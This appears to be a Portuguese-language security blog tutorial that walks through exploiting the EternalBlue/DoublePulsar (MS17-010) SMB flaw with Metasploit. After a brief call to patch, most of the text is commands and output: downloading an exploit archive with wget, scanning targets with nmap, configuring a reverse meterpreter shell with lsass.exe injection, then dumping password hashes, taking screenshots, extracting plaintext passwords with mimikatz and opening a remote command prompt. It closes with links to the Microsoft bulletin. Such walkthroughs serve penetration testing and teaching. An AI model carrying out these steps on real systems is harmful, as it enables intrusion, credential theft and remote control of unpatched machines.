A vulnerabilidade EternalBlue/DoublePulsar possibilitou que mais de 230.000 mil computadores fossem infectados pelo WannaCry causando um grande transtorno em grandes empresas pelo mundo.
No dia 14 de março de 2017 a Microsoft publicou um boletim crítico de segurança (MS17-010) informando como resolver o problema.
Ainda é possível encontrar empresas que não atualizaram seus sistemas e estão vulneráveis e podem ter seus sistemas explorados.
Mantenha o ambiente que você administra ou de seus clientes sempre atualizados para evitar qualquer tipo de exploração.
Adicione a arquitetura i386 (para computadores 32 bits) no repositório do Debian.
Linuxdpkg --add-architecture i386 apt-get update
Realize a instalação dos pacotes libwine, wine, wine32 e winetricks
Linuxapt-get install libwine wine wine32 winetricks
Após a instalação certifique-se que o Wine esteja instalado, em seguida execute o comando exit para sair do Wine.
Linuxwine cmd Microsoft Windows 6.1.7601 (4.0.2) Z:\>exit
Realize o download do exploit, descompacte o arquivo ms17-010.tar.gz e liste o conteúdo do diretório.
Linuxwget http://www.100security.com.br/downloads/ms17-010.tar.gz tar xf ms17-010.tar.gz cd ms17-010/ ls -l
Realize o download do exploit, descompacte o arquivo ms17-010.tar.gz e liste o conteúdo do diretório, em seguida volte ao diretório raiz ( / ).
Linuxmv * /usr/share/metasploit-framework/modules/exploits/windows/smb/ cd /
Inicie o serviço do PostgreSQL utilizado pelo Metasploit-Framework.
Linuxservice postgresql start
Para pesquisar se um ou mais hosts que estão na rede estão vulneráveis basta executar o script abaixo :
Observações
Você pode apenas informar o IP de um servidor ex: 192.168.0.20 ou informar a rede ex: 192.168.0.0/24.
nmap -p445 --script smb-vuln-ms17-010 192.168.0.20 State: VULNERABLE
Utilizando a ferramenta nmap verifique a versão do Sistema Operacional e a versão dos Serviços disponíveis neste Servidor.
Linuxnmap -O -sV 192.168.0.20
Para iniciar o Metasploit-Framework digite :
Linuxmsfconsole msf5 >
Defina o uso do exploit eternalblue_doublepulsar :
Linuxmsf5 > use exploit/windows/smb/eternalblue_doublepulsar msf5 exploit(windows/smb/eternalblue_doublepulsar) >
Defina o payload para estabelecer a conexão reversa com o host :
x86 – 32 Bits (windows/meterpreter/reverse_tcp)
x64 – 64 Bits (windows/x64/meterpreter/reverse_tcp)
msf5 exploit(windows/smb/eternalblue_doublepulsar) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/eternalblue_doublepulsar) >
Defina os dados correspondentes ao Host Local (PenTester), LHOST e LPORT.
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.168.0.100 lhost => 192.168.0.100 msf5 exploit(windows/smb/eternalblue_doublepulsar) > set lport 4444 lport => 4444
Defina os dados correspondentes ao Host Remoto (Servidor Vulnerável), RHOST e RPORT.
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.168.0.20 rhost => 192.168.0.20 msf5 exploit(windows/smb/eternalblue_doublepulsar) > set rport 445 rport => 445
Defina qual processo em execução do Windows será explorado, segue os mais utilizados :
Geralmente esta configuração já vem por padrão, mas é bom confirmar.
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe PROCESSINJECT => lsass.exe
Defina qual a arquitetura do Host Remoto (Servidor Vulnerável).
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x64 TARGETARCHITECTURE => x64
Exiba os targets disponíveis e defina o target correspondente ao Sistema Operacional do Host Remoto (Servidor Vulnerável).
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > show targets 0 Windows XP (all services pack) (x86) (x64) 1 Windows Server 2003 SP0 (x86) 2 Windows Server 2003 SPI/SP2 (x86) 3 Windows Server 2003 (x64) 4 Windows Vista (x86) 5 Windows Vista (x64) 6 Windows Server 2008 (x86) 7 Windows Server 2008 R2 (x86) (x64) 8 Windows 7 (all services pack) (x86 (x64) msf5 exploit(windows/smb/eternalblue_doublepulsar) > set target 7 target => 7
Utilize o comando show options para exibir todas as configurações definidas :
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > show options
Execute o comando exploit para realizar a exploração e receber o shell (meterpreter).
Linuxmsf5 exploit(windows/smb/eternalblue_doublepulsar) > exploit meterpreter >
Execute o comando sysinfo para obter informações sobre o Host Remoto.
Linuxmeterpreter > sysinfo
Execute o comando hashdump para obter o Hash de todos os usuários do Host Remoto.
Linuxmeterpreter > hashdump
Execute o comando screenshot para obter o Print Screen da tela do Host Remoto.
Linuxmeterpreter > screenshot Screeshot saved to: UTuJvMqV.jpeg
Carregue o módulo do MimiKatz para obter a Senha em memória do usuário logado.
Linuxmeterpreter > load mimikatz meterpreter > wdigest
Domínio: 100SECURITY Usuário: Administrator Senha: P@ssw0rd
Execute o comando shell para obter o acesso ao Prompt de Comando do Host Remoto.
Linuxmeterpreter > shell C:\Windows\system32>
Execute comandos como hostname e ipconfig.
LinuxC:\Windows\system32> cd \ C:\> hostname C:\> ipconfig
Atualização de segurança para o Microsoft Windows SMB Server (4013389)
Publicado em: 14 de março de 2017.
Link : docs.microsoft.com/pt-br/security-updates/securitybulletins/2017/ms17-010
Link : support.microsoft.com/pt-br/help/4023262/how-to-verify-that-ms17-010-is-installed